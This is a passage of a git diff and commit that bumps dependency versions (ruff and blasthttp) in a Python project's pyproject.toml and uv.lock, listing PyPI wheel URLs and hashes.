"https://files.pythonhosted.org/packages/f2/99/c283434d5a114d14edae9766f03f8ba5361f26a0f5a0d33cf6a1dd4a1c4a/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2bf53b2f91310750161ffe7f97567cf634c3022a7200fc02be1f15b3ed7d606", size = 4598661, upload-time = "2026-05-01T16:11:24.356Z" }, + { url = "https://files.pythonhosted.org/packages/9f/7b/fefe45fd2d989fc72d15a60aa77f9d20b95f9f482cb5af3af84161ac5665/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b049ce40b9959cfd31cec481482147791a660eeed7aeef262e34d3ca843a499b", size = 4559800, upload-time = "2026-05-01T16:11:32.783Z" }, + { url = "https://files.pythonhosted.org/packages/33/01/86f0af776d4208c8a787adc465d7851bb9ea0e05f117e1f85f2abe31d9f6/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:30bdbe55fd1883d4f8973adaba2d29e476d9f895b50f298fa8d84bbff6f315ed", size = 4561981, upload-time = "2026-05-01T16:10:22.554Z" }, + { url = "https://files.pythonhosted.org/packages/33/0c/9c587cb9c8b507230c3f72a405c9880138577a464b42126cfa2df615090f/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cddca738614895ac67ca1e858787296ad515760c145edcd74240950be0dd4b17", size = 3881449, upload-time = "2026-05-01T16:10:30.279Z" }, + { url = "https://files.pythonhosted.org/packages/78/c7/2bdc6052c51470a569ca499a52727003fad20445bc64763de3fd0408543d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:17f0574eafcf543606de71a21ca62f1a524a4123ee5c5c767f99448c8dd6084a", size = 4463029, upload-time = "2026-05-01T16:10:54.333Z" }, + { url = "https://files.pythonhosted.org/packages/b8/1b/de5c6070408b6ca9321e65107d22d28033d9425059f439318c1d23ee083d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:0e192488053fbc52f49a610d94f379806a0897f7f7b2d60857a3fbfb4c2a3403", size = 4470584, upload-time = "2026-05-01T16:10:38.609Z" }, + { url = "https://files.pythonhosted.org/packages/4e/0e/c8abd6ed3a5c2428fd41758b87082030c5c98a87aae4f8f18312169e6f2d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:b48b1b12a56848c98a5aee78ba58c549962d022b404a712b95df95f0e43e03c7", size = 4090171, upload-time = "2026-05-01T16:10:46.715Z" }, + { url = "https://files.pythonhosted.org/packages/3e/a1/aedceff8653eaaa114111971a033c1be9cc44997272be74685021b3b7b60/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:b80d782724df6653249c5be61fce9b77a2fd9fde295e72bb8f7daf7077c9341f", size = 4225924, upload-time = "2026-05-01T16:11:02.687Z" }, + { url = "https://files.pythonhosted.org/packages/31/b4/2232a321fc048d0ac4b10a7daf344dafeb39942151b067bf4f6ff628ac5f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:96a92b74058475023ada7e02e5cca2c1b69e368582b644a8915f4132fcf310cc", size = 4851739, upload-time = "2026-05-01T16:11:10.408Z" }, + { url = "https://files.pythonhosted.org/packages/84/f2/a516049c47bbe7ca5d2ffa9dc24f467eef7ce385c8833c5f2ea38468db45/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0bc5d99529aa80884aa610b9f465d06aef4e75131513f856917c38bddbd19c74", size = 4180110, upload-time = "2026-05-01T16:11:18.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e5/2b4d6cd9cafd64c97f154be6475552362f35e7c09f2c8fac781ffd1f5971/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cb09f3bfe11fc58a67c9d6c19f67249579599683c2e77219b3f3c694084010e5", size = 4597857, upload-time = "2026-05-01T16:11:25.878Z" }, + { url = "https://files.pythonhosted.org/packages/db/85/cc2dfb5412a29231ee8bfd177b4a817909e8f95414c394f51cd4882a849f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:396a66dee3f52058da61ea8254f576ca70f3d4eb54d5b5a783455d8b7dbbbd23", size = 4559871, upload-time = "2026-05-01T16:11:34.221Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/1fb15d9eef665a29c2906a60b5ece728e078eefffa6eb8e793d164bbdc84/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:81a7d53b6ca4e5622bb156edbdc8c5f763992076d68503b2c18089532f2fab5a", size = 4562881, upload-time = "2026-05-01T16:10:24.098Z" }, + { url = "https://files.pythonhosted.org/packages/d2/e1/16a4af8cf1f184103e21b2bd0a3c14165bafcf704f266656793211e53c0e/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:8feed0dee3a750e5d49ee4e38684f8a94e727bfc95feb554fd29021ef77a8522", size = 3879561, upload-time = "2026-05-01T16:10:32.042Z" }, + { url = "https://files.pythonhosted.org/packages/87/ab/ef42ef4afa33ee974c4eae3492bf59da60558072116e114e11eab39e8aa9/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:b45f7aac0885ce1a8a9125bfbaf0d4b7213d5297d98bb68b319efbf02b7103dd", size = 4461286, upload-time = "2026-05-01T16:10:55.779Z" }, + { url = "https://files.pythonhosted.org/packages/4e/a9/d6a6032c4f9022d6245c92671c96bf32c602d68902d8463017e03c576498/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:576206e78de4dcb7c299e63a474180f577c1078c572cd6b7883dd352a9042b45", size = 4470099, upload-time = "2026-05-01T16:10:40.128Z" }, + { url = "https://files.pythonhosted.org/packages/09/a8/336b261e136c583e75de8462ae096c46b2cb2506052ffefd61bfd73d8c95/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1f7ba239eb7ba2d91470d8487e0800c7f18b5115762b74645f3f0708f4b7a417", size = 4091509, upload-time = "2026-05-01T16:10:48.207Z" }, + { url = "https://files.pythonhosted.org/packages/57/c7/c50ea8a20ddde64e1268e94ae9db83278933f51ad21c2654ee2527c33ac6/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e1e5374d5fe3e1d3c28d514228b8b0129e0b6d20cc78efc87d65b27662dae3d9", size = 4224394, upload-time = "2026-05-01T16:11:04.077Z" }, + { url = "https://files.pythonhosted.org/packages/de/b5/fb9c16d6da024855da2390cfebb770586eac14bd5f6dddc3dde610161965/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2500b1974bce2df2b7acbacdea5012d65abe2de93897fe7576b2cb7f9e7e99cb", size = 4852825, upload-time = "2026-05-01T16:11:11.916Z" }, + { url = "https://files.pythonhosted.org/packages/88/fa/e096bbca96b7d2b93b21ff87d757347efdfd39edd7189edde9633e179d93/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:09af4c79af71b991afc32b9d73694b2715c0f42d04690b8878049c91250b61b3", size = 4179218, upload-time = "2026-05-01T16:11:19.889Z" }, + { url = "https://files.pythonhosted.org/packages/94/87/899813711c2d7013230ed0d87f518d9f4e4705eb1543e4cc36be973d807b/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8f02bc943dd18345d58a78f1ec7e86c5cabbb94a150e8fbc1389822fbd313df6", size = 4597955, upload-time = "2026-05-01T16:11:27.652Z" }, + { url = "https://files.pythonhosted.org/packages/af/cb/7ac9f9d247aed87c537677cf22d7d5bb733e9ab28f0c023703ede72fc603/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4a893b6ef9d9e60e8163e465e241b229c8f2c5f9bcc85de274ccc9cbc6d2782d", size = 4558895, upload-time = "2026-05-01T16:11:35.928Z" }, ] [[package]] @@ -2808,27 +2808,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e7/d9/aa3f7d59a10ef6b14fe3431706f854dbf03c5976be614a9796d36326810c/ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e", size = 4631728, upload-time = "2026-04-09T14:06:09.884Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/eb/00/a1c2fdc9939b2c03691edbda290afcd297f1f389196172826b03d6b6a595/ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f", size = 10563362, upload-time = "2026-04-09T14:06:21.189Z" }, - { url = "https://files.pythonhosted.org/packages/5c/15/006990029aea0bebe9d33c73c3e28c80c391ebdba408d1b08496f00d422d/ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e", size = 10951122, upload-time = "2026-04-09T14:06:02.236Z" }, - { url = "https://files.pythonhosted.org/packages/f2/c0/4ac978fe874d0618c7da647862afe697b281c2806f13ce904ad652fa87e4/ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1", size = 10314005, upload-time = "2026-04-09T14:06:00.026Z" }, - { url = "https://files.pythonhosted.org/packages/da/73/c209138a5c98c0d321266372fc4e33ad43d506d7e5dd817dd89b60a8548f/ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e", size = 10643450, upload-time = "2026-04-09T14:05:42.137Z" }, - { url = "https://files.pythonhosted.org/packages/ec/76/0deec355d8ec10709653635b1f90856735302cb8e149acfdf6f82a5feb70/ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1", size = 10379597, upload-time = "2026-04-09T14:05:49.984Z" }, - { url = "https://files.pythonhosted.org/packages/dc/be/86bba8fc8798c081e28a4b3bb6d143ccad3fd5f6f024f02002b8f08a9fa3/ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef", size = 11146645, upload-time = "2026-04-09T14:06:12.246Z" }, - { url = "https://files.pythonhosted.org/packages/a8/89/140025e65911b281c57be1d385ba1d932c2366ca88ae6663685aed8d4881/ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158", size = 12030289, upload-time = "2026-04-09T14:06:04.776Z" }, - { url = "https://files.pythonhosted.org/packages/88/de/ddacca9545a5e01332567db01d44bd8cf725f2db3b3d61a80550b48308ea/ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0", size = 11496266, upload-time = "2026-04-09T14:05:55.485Z" }, - { url = "https://files.pythonhosted.org/packages/bc/bb/7ddb00a83760ff4a83c4e2fc231fd63937cc7317c10c82f583302e0f6586/ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609", size = 11256418, upload-time = "2026-04-09T14:05:57.69Z" }, - { url = "https://files.pythonhosted.org/packages/dc/8d/55de0d35aacf6cd50b6ee91ee0f291672080021896543776f4170fc5c454/ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f", size = 11288416, upload-time = "2026-04-09T14:05:44.695Z" }, - { url = "https://files.pythonhosted.org/packages/68/cf/9438b1a27426ec46a80e0a718093c7f958ef72f43eb3111862949ead3cc1/ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151", size = 10621053, upload-time = "2026-04-09T14:05:52.782Z" }, - { url = "https://files.pythonhosted.org/packages/4c/50/e29be6e2c135e9cd4cb15fbade49d6a2717e009dff3766dd080fcb82e251/ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8", size = 10378302, upload-time = "2026-04-09T14:06:14.361Z" }, - { url = "https://files.pythonhosted.org/packages/18/2f/e0b36a6f99c51bb89f3a30239bc7bf97e87a37ae80aa2d6542d6e5150364/ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07", size = 10850074, upload-time = "2026-04-09T14:06:16.581Z" }, - { url = "https://files.pythonhosted.org/packages/11/08/874da392558ce087a0f9b709dc6ec0d60cbc694c1c772dab8d5f31efe8cb/ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48", size = 11358051, upload-time = "2026-04-09T14:06:18.948Z" }, - { url = "https://files.pythonhosted.org/packages/e4/46/602938f030adfa043e67112b73821024dc79f3ab4df5474c25fa4c1d2d14/ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5", size = 10588964, upload-time = "2026-04-09T14:06:07.14Z" }, - { url = "https://files.pythonhosted.org/packages/25/b6/261225b875d7a13b33a6d02508c39c28450b2041bb01d0f7f1a83d569512/ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed", size = 11745044, upload-time = "2026-04-09T14:05:39.473Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/dea90a65b7d9e69888890fb14c90d7f51bf0c1e82ad800aeb0160e4bacfd/ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188", size = 11035607, upload-time = "2026-04-09T14:05:47.593Z" }, +version = "0.15.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/99/43/3291f1cc9106f4c63bdce7a8d0df5047fe8422a75b091c16b5e9355e0b11/ruff-0.15.12.tar.gz", hash = "sha256:ecea26adb26b4232c0c2ca19ccbc0083a68344180bba2a600605538ce51a40a6", size = 4643852, upload-time = "2026-04-24T18:17:14.305Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/6e/e78ffb61d4686f3d96ba3df2c801161843746dcbcbb17a1e927d4829312b/ruff-0.15.12-py3-none-linux_armv6l.whl", hash = "sha256:f86f176e188e94d6bdbc09f09bfd9dc729059ad93d0e7390b5a73efe19f8861c", size = 10640713, upload-time = "2026-04-24T18:17:22.841Z" }, + { url = "https://files.pythonhosted.org/packages/ae/08/a317bc231fb9e7b93e4ef3089501e51922ff88d6936ce5cf870c4fe55419/ruff-0.15.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e3bcd123364c3770b8e1b7baaf343cc99a35f197c5c6e8af79015c666c423a6c", size = 11069267, upload-time = "2026-04-24T18:17:30.105Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a4/f828e9718d3dce1f5f11c39c4f65afd32783c8b2aebb2e3d259e492c47bd/ruff-0.15.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fe87510d000220aa1ed530d4448a7c696a0cae1213e5ec30e5874287b66557b5", size = 10397182, upload-time = "2026-04-24T18:17:07.177Z" }, + { url = "https://files.pythonhosted.org/packages/71/e0/3310fc6d1b5e1fdea22bf3b1b807c7e187b581021b0d7d4514cccdb5fb71/ruff-0.15.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84a1630093121375a3e2a95b4a6dc7b59e2b4ee76216e32d81aae550a832d002", size = 10758012, upload-time = "2026-04-24T18:16:55.759Z" }, + { url = "https://files.pythonhosted.org/packages/11/c1/a606911aee04c324ddaa883ae418f3569792fd3c4a10c50e0dd0a2311e1e/ruff-0.15.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fb129f40f114f089ebe0ca56c0d251cf2061b17651d464bb6478dc01e69f11f5", size = 10447479, upload-time = "2026-04-24T18:16:51.677Z" }, + { url = "https://files.pythonhosted.org/packages/9d/68/4201e8444f0894f21ab4aeeaee68aa4f10b51613514a20d80bd628d57e88/ruff-0.15.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0c862b172d695db7598426b8af465e7e9ac00a3ea2a3630ee67eb82e366aaa6", size = 11234040, upload-time = "2026-04-24T18:17:16.529Z" }, + { url = "https://files.pythonhosted.org/packages/34/ff/8a6d6cf4ccc23fd67060874e832c18919d1557a0611ebef03fdb01fff11e/ruff-0.15.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2849ea9f3484c3aca43a82f484210370319e7170df4dfe4843395ddf6c57bc33", size = 12087377, upload-time = "2026-04-24T18:17:04.944Z" }, + { url = "https://files.pythonhosted.org/packages/85/f6/c669cf73f5152f623d34e69866a46d5e6185816b19fcd5b6dd8a2d299922/ruff-0.15.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e77c7e51c07fe396826d5969a5b846d9cd4c402535835fb6e21ce8b28fef847", size = 11367784, upload-time = "2026-04-24T18:17:25.409Z" }, + { url = "https://files.pythonhosted.org/packages/e8/39/c61d193b8a1daaa8977f7dea9e8d8ba866e02ea7b65d32f6861693aa4c12/ruff-0.15.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b2f4f2f3b1026b5fb449b467d9264bf22067b600f7b6f41fc5958909f449d0", size = 11344088, upload-time = "2026-04-24T18:17:12.258Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8d/49afab3645e31e12c590acb6d3b5b69d7aab5b81926dbaf7461f9441f37a/ruff-0.15.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9ba3b8f1afd7e2e43d8943e55f249e13f9682fde09711644a6e7290eb4f3e339", size = 11271770, upload-time = "2026-04-24T18:17:02.457Z" }, + { url = "https://files.pythonhosted.org/packages/46/06/33f41fe94403e2b755481cdfb9b7ef3e4e0ed031c4581124658d935d52b4/ruff-0.15.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e852ba9fdc890655e1d78f2df1499efbe0e54126bd405362154a75e2bde159c5", size = 10719355, upload-time = "2026-04-24T18:17:27.648Z" }, + { url = "https://files.pythonhosted.org/packages/0d/59/18aa4e014debbf559670e4048e39260a85c7fcee84acfd761ac01e7b8d35/ruff-0.15.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dd8aed930da53780d22fc70bdf84452c843cf64f8cb4eb38984319c24c5cd5fd", size = 10462758, upload-time = "2026-04-24T18:17:32.347Z" }, + { url = "https://files.pythonhosted.org/packages/25/e7/cc9f16fd0f3b5fddcbd7ec3d6ae30c8f3fde1047f32a4093a98d633c6570/ruff-0.15.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01da3988d225628b709493d7dc67c3b9b12c0210016b08690ef9bd27970b262b", size = 10953498, upload-time = "2026-04-24T18:17:20.674Z" }, + { url = "https://files.pythonhosted.org/packages/72/7a/a9ba7f98c7a575978698f4230c5e8cc54bbc761af34f560818f933dafa0c/ruff-0.15.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9cae0f92bd5700d1213188b31cd3bdd2b315361296d10b96b8e2337d3d11f53e", size = 11447765, upload-time = "2026-04-24T18:17:09.755Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f9/0ae446942c846b8266059ad8a30702a35afae55f5cdc54c5adf8d7afdc27/ruff-0.15.12-py3-none-win32.whl", hash = "sha256:d0185894e038d7043ba8fd6aee7499ece6462dc0ea9f1e260c7451807c714c20", size = 10657277, upload-time = "2026-04-24T18:17:18.591Z" }, + { url = "https://files.pythonhosted.org/packages/33/f1/9614e03e1cdcbf9437570b5400ced8a720b5db22b28d8e0f1bda429f660d/ruff-0.15.12-py3-none-win_amd64.whl", hash = "sha256:c87a162d61ab3adca47c03f7f717c68672edec7d1b5499e652331780fe74950d", size = 11837758, upload-time = "2026-04-24T18:17:00.113Z" }, + { url = "https://files.pythonhosted.org/packages/c0/98/6beb4b351e472e5f4c4613f7c35a5290b8be2497e183825310c4c3a3984b/ruff-0.15.12-py3-none-win_arm64.whl", hash = "sha256:a538f7a82d061cee7be55542aca1d86d1393d55d81d4fcc314370f4340930d4f", size = 11120821, upload-time = "2026-04-24T18:16:57.979Z" }, ] [[package]] From 52dee5fbc92df02204b185fdf06a230163bcc9ab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 14:34:59 -0400 Subject: [PATCH 616/912] bump blasthttp to 0.5.1 (binary content fix in mock) --- pyproject.toml | 2 +- uv.lock | 110 ++++++++++++++++++++++++------------------------- 2 files changed, 56 insertions(+), 56 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b45ecb278e..12a3ecc755 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.5.0", + "blasthttp>=0.5.1", "blastdns>=1.9.0,<2", ] diff --git a/uv.lock b/uv.lock index dac446a034..6a6836d936 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.5.0" }, + { name = "blasthttp", specifier = ">=0.5.1" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.5.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e8/42/743d3dea32acb0091439591a1503697b3c1d0754d288dfbf7b99aedcad90/blasthttp-0.5.0.tar.gz", hash = "sha256:60c909ab3c5f9bb7015c093a8ddb0c351eab61eade3c8511826daf779edc67fb", size = 137680, upload-time = "2026-05-07T14:42:12.258Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/90/f8/5c2e4a5d874aabb673385017b53f2b0606ccf141d15e990c4514fe94ff93/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:53585710305baf42f249af64660c041854e1cff11e35a92e5172fb5a7194b344", size = 4758440, upload-time = "2026-05-07T14:40:52.773Z" }, - { url = "https://files.pythonhosted.org/packages/11/ba/ca3866576263ce1bba48cd37410bcf339aeae06b436377f9e01bdce57852/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:81f684d2e32e7ac54f870422469c181d44f7e85e0b97e77fb525463ab5c142b4", size = 4060751, upload-time = "2026-05-07T14:41:01.144Z" }, - { url = "https://files.pythonhosted.org/packages/2d/7c/b251db3863df97c0d9481faf70f8d23998f8056b57bd0e7db507a94fb2c1/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:3ea44513132ff374df77187afbf38a0b300f796260c67f0d09d449cfff59485b", size = 4649787, upload-time = "2026-05-07T14:41:24.304Z" }, - { url = "https://files.pythonhosted.org/packages/83/aa/31294e9f510a71bdc29f46729ff9ab4c1f1701beec9d40ace9a3600895ea/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:0d944795ba5151b94a2118ed46b2fb1df7cebd2cdcfd993a9bcfe39b38d222ee", size = 4662976, upload-time = "2026-05-07T14:41:09.092Z" }, - { url = "https://files.pythonhosted.org/packages/98/db/169508a499b42f75c0212f876816f6761910b59b106f62bd623c0c87d025/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:9dd9ac3e0cba61e140b7bb6fb888a3048f85d44fae4019a44c4e32e14a9e6fbc", size = 4266973, upload-time = "2026-05-07T14:41:16.581Z" }, - { url = "https://files.pythonhosted.org/packages/b2/ed/531ad6755959ee9bf5a1cd9cd018c90558ab3248563e5a1c6543a3d19c91/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a30b59e007558fe35ac1c8c4f93612978c35dc3d7bf6a591163b70a170c95e9f", size = 4404464, upload-time = "2026-05-07T14:41:32.319Z" }, - { url = "https://files.pythonhosted.org/packages/f6/97/9954b3b2c275d40af1a0939e4111a38eb41b8ccc80e878c451cf8fb240bf/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d255ce802b570693acd8af4381a2010fbe5b1185b50c674a9d3e8101b20120c", size = 5049907, upload-time = "2026-05-07T14:41:40.001Z" }, - { url = "https://files.pythonhosted.org/packages/07/89/de57b3f3116967f9ce8b1c5b837c074c7a4b1d4a1f66f71ab1577d95fef0/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:31e61b7dbc07c8371aa2c232323b74f6e76161c8f0815cf8d217fb4a3db05530", size = 4365418, upload-time = "2026-05-07T14:41:48.192Z" }, - { url = "https://files.pythonhosted.org/packages/59/0c/fa92d8699814824c56ffd675a1bf920ebccb0bb8baa865192801d3447342/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f7ca6f2af0983f364e17bacdef27207eb9ffaa97e4ee3087e24285be2253993b", size = 4781465, upload-time = "2026-05-07T14:41:55.794Z" }, - { url = "https://files.pythonhosted.org/packages/a0/59/dd846c7c4d37a450d33de2edc18da3fb7105c0e7900df233786520fd0b63/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:21889780aedf87f5ab49064a02777571232debc7b2b3bd39d3f430541881d220", size = 4749394, upload-time = "2026-05-07T14:42:03.745Z" }, - { url = "https://files.pythonhosted.org/packages/8e/43/05029534c63e12e90049fe7b15e12b529dcf0332e3fd23ff3be1df779a83/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:76fc3eb6aa6df04e62cb28bc5c00f1489e7981a6cf772b3ae9d61502c34c8cc5", size = 4755489, upload-time = "2026-05-07T14:40:54.559Z" }, - { url = "https://files.pythonhosted.org/packages/0e/3c/d5bf59020a4be9e21d9b78a5e0c86e25e062a6823548cc55b484875c90c9/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:fc7b91b6d94fffd81a6d8bed2c93ee988881630c4946a23d704a7e82e61eee86", size = 4057866, upload-time = "2026-05-07T14:41:02.776Z" }, - { url = "https://files.pythonhosted.org/packages/e7/64/91de3231c07bc11bb056755be8365bd7ff1e39f391dc87855633a3d33521/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:4b87ae09ccea65b22aea8617b1bf34ce40db889b166f18665374d4ab7e37cd34", size = 4646482, upload-time = "2026-05-07T14:41:25.909Z" }, - { url = "https://files.pythonhosted.org/packages/b7/2c/954c29b9218d2230443a735438f1ce840fffb18198d1029c84f06455b374/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:395faaccf3fb994d6bb10bc186bc7a508070637ba879ee3dce24a1280017366b", size = 4658355, upload-time = "2026-05-07T14:41:10.527Z" }, - { url = "https://files.pythonhosted.org/packages/1a/26/85ed6f74a8ca99933d1f7085be8d272825e2ad156f1d66a038bad4bd7730/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:2911e7af0688de15efe6f7770c90aef8360efdaff1f396124e7cacd7d228f098", size = 4264512, upload-time = "2026-05-07T14:41:18.208Z" }, - { url = "https://files.pythonhosted.org/packages/46/a9/c73c20a78293faa0daca56743b01c9a4d6f4e2d2716585f803dc3645b3ce/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:7f370de2aceead32ba51c2ccf3e0df76b8873bcefca076d3a48b3b61b8435de5", size = 4402616, upload-time = "2026-05-07T14:41:33.684Z" }, - { url = "https://files.pythonhosted.org/packages/ed/0e/20f181e8b8bfe9e974852d79fa620ace104a5cf555a151bfcb55d9955bbf/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dbdb730dd1d84a8e2c9758b5a6fca2a8bc23af7c795c8af2d2394f164db3ebe7", size = 5047769, upload-time = "2026-05-07T14:41:41.701Z" }, - { url = "https://files.pythonhosted.org/packages/b7/df/e18cc17e5d537f9b053573e57134f7013380780624d67d1be8459878e4bf/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:97708a620e554b97527aed6c8a49a8eb66115ae9592cdce0df0e95e1762442c9", size = 4358737, upload-time = "2026-05-07T14:41:49.639Z" }, - { url = 